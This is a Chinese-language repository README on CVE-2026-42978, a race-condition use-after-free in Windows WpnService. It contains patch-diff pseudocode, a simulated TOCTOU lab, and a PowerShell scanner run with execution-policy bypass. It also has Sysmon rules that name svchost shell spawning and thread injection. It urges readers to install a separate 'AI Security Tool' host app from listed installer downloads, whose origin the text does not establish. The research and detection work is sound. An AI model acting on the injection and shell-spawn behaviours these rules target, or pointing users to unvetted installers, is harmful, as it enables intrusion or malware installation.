CVE-2026-42978 Windows 推送通知 (WpnService) 释放后使用与竞态条件 PoC 研究、诊断扫描器,以及面向 AI 安全工具的安全审计模块。
CVE-2026-42978
面向 AI 安全工具的 Windows 推送通知模块
下一代 AI 安全生态系统、多协议终端与自主代理套件
产品: AI Security Tool
站点: zerodayevil.github.io
文档: https://zerodayevil.github.io/ai-security-tool
本模块是面向 AI Security Tool 的经审核分析报告与安全检查配置。
仅使用项目站点或官方目录中列出的模块。请在经批准的应用程序内加载本模块,并仅针对你拥有或获得书面授权进行评估的端点使用。
本仓库不提供针对 WpnService 的武器化漏洞利用程序。lab/ 下的实验环境是该类漏洞(TOCTOU / 双重取值)的独立模拟实现。它不会与真实的推送通知服务通信。
请先安装宿主应用。然后从 Modules → Windows / Local EoP → CVE-2026-42978 启用本模块。
仅限官方来源:
CVE-2026-42978 是 Windows 推送通知中的本地权限提升漏洞。Microsoft 将其描述为对共享资源的并发访问缺乏适当同步(CWE-362)。对已修补与未修补 wpncore.dll 的研究表明,在平台关闭期间 PresentationEndpointFacade 中存在释放后使用竞态。
WpnService 以 NT AUTHORITY\SYSTEM 身份在会话 0 中运行(svchost.exe -k netsvcs -p)。Toast、磁贴和徽章通知的传递都经过它。针对该进程赢得竞态意味着本地机器上的 SYSTEM 权限问题——而不是远程预认证的域控漏洞。
状态: 已于 2026 年 6 月 10 日(补丁星期二)修补。本页面为防御性研究。
它不是 CVE-2026-41089(Netlogon RCE)。组件不同、权限模型不同、补丁日期不同。
随附推送通知的客户端和服务器 SKU。在关闭工单之前,请在 MSRC 上确认确切的 KB 编号。
| 系列 | 说明 |
|---|---|
| Windows 10 | 1809、21H2、22H2(适用时包括 x86 / x64 / ARM64) |
| Windows 11 | 23H2、24H2、25H2、26H1 |
| Windows Server | 2016 / 2019 / 2022 / 2025(完整版和组件存在的 Server Core 版) |
根据公开服务说明整理的参考构建版本(请始终重新核对 MSRC):
该外观类封装了通知 API 调用,并委托给 PresentationEndpointImpl。在平台关闭期间,NotificationPlatform 对象会被销毁。历史上,若干外观方法在获取平台指针时没有关闭标志或共享锁。如果销毁过程赢得竞态,下一次调用就会使用悬空指针。
相同的加锁与防护模式被应用于 49 个 PresentationEndpointFacade::* 方法。底层的实现方法保持不变——漏洞位于外观层。
wpncore.dll 26100.8521)// PresentationEndpointFacade::ToastUnblockAll — unpatched
long ToastUnblockAll(PresentationEndpointFacade *this) {
NotificationPlatformHandle::Get(this + 0x50);
if (platform == NULL)
Throw_Hr(...);
return PresentationEndpointImpl::UnblockToastsForEachApp(...);
}
wpncore.dll 26100.8655)// PresentationEndpointFacade::ToastUnblockAll — patched
long ToastUnblockAll(PresentationEndpointFacade *this) {
if (Feature_4097557817::IsEnabled()) {
AcquireSRWLockShared(&Wns::s_platformLock);
if (Wns::s_platformShutdown)
Throw_Hr(E_APPLICATION_EXITING);
NotificationPlatformHandle::Get(this + 0x50);
ReleaseSRWLockShared(&Wns::s_platformLock);
}
}
补丁新增的内容:
AcquireSRWLockShared —— 读写锁;关闭过程获取独占锁。s_platformShutdown —— 如果销毁已开始,则以 E_APPLICATION_EXITING 退出。unique_storage 实现 RAII 释放,因此锁在异常路径上也会释放。Feature_4097557817,用于分阶段推出 / 回滚。来自 reports/ 的 PE 说明:
.text 增长了 18,432 字节.data 增长了 96 字节(Wns::s_platformLock、Wns::s_platformShutdown)WpnService 以 SYSTEM 身份运行。如果赢得竞态,悬空的虚表调用可被转化为本地 SYSTEM 代码执行。该步骤——堆喷射、虚表劫持、载荷——不在本文讨论范围内。
本模块用于根本原因认知、补丁验证和检测。
detection/)收集到实验机器上。不要针对生产环境的 WpnService 运行崩溃或竞态循环。
authorized operator
│
▼
AI Security Tool → module 42978
│
▼
authorized Windows endpoint
│
├─ patch / wpncore.dll age
└─ SIEM / Sysmon / Event Log notes
lab/ 是双重取值 / TOCTOU 的独立 C 语言演示。它使用命名管道和共享内存。它不会加载 wpncore.dll,也不会启动或停止 WpnService。
vulnerable_service.exe —— 校验一次长度,休眠,再次读取长度。race_attacker.exe —— 在该时间窗口内翻转共享值。--patched —— 单次取值到局部变量;同一攻击者应观察到零次竞态。需要 GCC(MinGW)。在 lab/ 目录下执行:
build.bat
终端 1:vulnerable_service.exe
终端 2:race_attacker.exe 5
然后与 vulnerable_service.exe --patched 进行对比。
detection/etw_wpn_monitor.ps1七项检查:
WpnService 状态与 PIDwpncore.dll 日期 / 构建版本)powershell -ExecutionPolicy Bypass .\detection\etw_wpn_monitor.ps1
detection/sysmon_wpn_race_detect.xmlsysmon64.exe -accepteula -i detection\sysmon_wpn_race_detect.xml
通道:Microsoft-Windows-PushNotifications-Platform/Operational
wpncore.dll 构建版本与该分支的已修补版本一致svchost -k netsvcs 生成 shell 的行为发出告警如果 etw_wpn_monitor.ps1 显示未修补——请安装 2026 年 6 月更新并重新检查。
CVE-2026-42978/
├── README.md
├── LICENSE
├── lab/
│ ├── vulnerable_service.c
│ ├── race_attacker.c
│ └── build.bat
├── detection/
│ ├── etw_wpn_monitor.ps1
│ └── sysmon_wpn_race_detect.xml
└── reports/
├── PE_DIFF_REPORT.txt
└── FUNCTION_DIFF_REPORT.txt
需求: 检测脚本需要 Windows 10/11 · 模拟实验环境需要 MinGW · Sysmon 可选。
本 README 中的截图从公开图片 URL 加载。它们不存储在此目录树中。
4 modules@ZeroDayEvil@ZeroDayEvil@ZeroDayEvil@ZeroDayVPN2 modules@ZeroDayVPN@ZeroDayEvil2 modules@ZeroDayEvil@ZeroDayVPN有价值的工作:
请勿提交添加针对 WpnService 的武器化漏洞利用程序、堆喷射辅助工具或针对实时服务的漏洞 PoC 的 PR。
基于 MIT 许可证发布。参见 LICENSE。
仅限经授权的防御性研究与系统管理。
未经书面授权的本地权限提升测试属于违法行为。
该漏洞已被修补。请保持 Windows 为最新版本。本仓库不包含针对实时服务的武器化漏洞利用程序。
AI Security Tool —— 面向网络安全专业人员的终端工作流与自动化。
面向 zerodayevil.github.io 的防御性模块 · 无独立 WpnService 漏洞利用程序 · 请在 MSRC 上核实事实
| 操作系统 / 平台 | 版本 | 架构 / 格式 | 更新时间 | 状态 | 下载 |
|---|
| Windows | v6.3.20 | x64 安装程序(.exe) | 2026-09-08 | 最新 | 下载 .exe |
| Windows | v6.3.20 | x64 便携版(.tar.gz) | 2026-09-08 | 最新 | 下载 .tar.gz |
| macOS | v5.3.29 | Apple Silicon(.dmg) | 2026-09-05 | 稳定 | 下载 .dmg |
| Linux | v5.3.27 | 通用 x64(.tar.gz) | 2026-09-01 | 稳定 | 下载 .tar.gz |
| Android | v5.3.27 | ARM64 APK(.apk) | 2026-09-01 | 稳定 | 下载 .apk |
| 字段 | 值 |
|---|
| CVE | CVE-2026-42978 |
| BDU | BDU:2026-08249 |
| 厂商公告 | MSRC — Windows Push Notifications EoP |
| 严重性 | 高 · CVSS 3.1 7.8 |
| 弱点 | CWE-362 竞态条件 · 关闭路径上的释放后使用 |
| 组件 | Windows Push Notifications · WpnService · wpncore.dll |
| 攻击向量 | 本地 |
| 所需权限 | 低(已授权的本地用户) |
| 用户交互 | 无 |
| 补丁星期二 | 2026 年 6 月 10 日 |
| 模块类型 | 研究分析报告 + 应用内安全检查 + 检测包 |
| 分支 | 参考已修补构建版本 |
|---|
| Windows 11 23H2 | 22631.7219 |
| Windows 11 24H2 | 26100.8655 |
| Windows 11 25H2 | 26200.8655 |
| Windows 11 26H1 | 28000.2269 |
wpncore.dll 示例(24H2) | 易受攻击 26100.8521 → 已修补 26100.8655 |
| 类别 | 示例函数 |
|---|
| Toast | ToastUnblockAll、ToastCreateSession、ToastCloseSession、ToastRequestAllNotifications、ToastSuppress |
| 磁贴 | TileCreateSession、TileCloseSession、TileRequestResourceForeground |
| 注册 | RegisterApplication、UnregisterApplication、RegisterHandler、UpdateRegistration |
| 设置 | ChangeAppSetting、QueryAppSetting、QueryGlobalSetting |
| 传递 | Deliver、GetPayloadForNotificationId、Submit、PostScheduledNotification |
| 查询 | GetRegisteredHandler、GetSettingsFromHandler、GetAssetsFromHandler |
| 规则 | 用途 |
|---|
WPN_EoP_ChildProcess | svchost(netsvcs)生成 cmd / powershell / wscript |
WPN_PipeAccess | 连接到与 WPN 相关的命名管道 |
WPN_FileCreation | 在通知数据目录下创建文件 |
WPN_RegistryTampering | 写入 PushNotifications 注册表项 |
WPN_ProcessAccess | 对 svchost 的 PROCESS_ALL_ACCESS |
WPN_ThreadInjection | 向 svchost 注入 CreateRemoteThread |
| CVE | 类别 |
|---|
| CVE-2026-42977 | EoP · 竞态 |
| CVE-2026-42978 | EoP · 竞态(本模块) |
| CVE-2026-42979 | EoP · 竞态 |
| CVE-2026-42991 | EoP · 竞态 |
| CVE-2026-42969 | 信息泄露 · 竞态 |
| CVE-2026-42970 | 信息泄露 · 竞态 |
| CVE-2026-42973 | 信息泄露 · 竞态 |
| CVE-2026-26167 | EoP |
| CVE-2026-32160 | EoP |